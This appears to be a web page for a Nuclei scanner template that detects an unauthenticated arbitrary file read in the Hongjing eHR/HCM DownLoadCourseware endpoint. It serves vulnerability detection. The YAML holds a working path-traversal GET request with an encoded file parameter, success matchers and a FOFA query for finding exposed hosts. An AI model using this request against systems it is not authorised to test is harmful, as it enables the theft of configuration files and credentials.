Hongjing HCM - Local File Inclusion

ID: hjsoft-hcm-lfi

Severity: high

Author: s4e-io

Tags: lfi,hjsoft,management-system,file-read

Description

There is an arbitrary file read vulnerability in the Hongjing eHR /DownLoadCourseware interface. Unauthenticated attackers can use this vulnerability to read important system files (such as database configuration files, system configuration files), database configuration files, etc., causing the website to be extremely unsafe.

YAML Source

id: hjsoft-hcm-lfi

info:
  name: Hongjing HCM - Local File Inclusion
  author: s4e-io
  severity: high
  description: |
    There is an arbitrary file read vulnerability in the Hongjing eHR /DownLoadCourseware interface. Unauthenticated attackers can use this vulnerability to read important system files (such as database configuration files, system configuration files), database configuration files, etc., causing the website to be extremely unsafe.
  reference:
    - https://github.com/wy876/POC/blob/main/%E5%AE%8F%E6%99%AFeHR%E4%BA%BA%E5%8A%9B%E8%B5%84%E6%BA%90%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3DownLoadCourseware%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
    - https://blog.csdn.net/qq_41904294/article/details/140180110
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="HJSOFT-HCM"
  tags: lfi,hjsoft,management-system,file-read

http:
  - raw:
      - |
        GET /w_selfservice/oauthservlet/%2e./.%2e/DownLoadCourseware?url=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: word
        part: content_type
        words:
          - "multipart/form-data"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e5c0273163770bc7cf9565169b50bedc2a7656904222a3632102b9d09665b3c8022100dfd8591959d82945a71b1045f3acf555e926a0bfb8868bdc676e80ab4df31950:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/hjsoft/hjsoft-hcm-lfi.yaml"

View on Github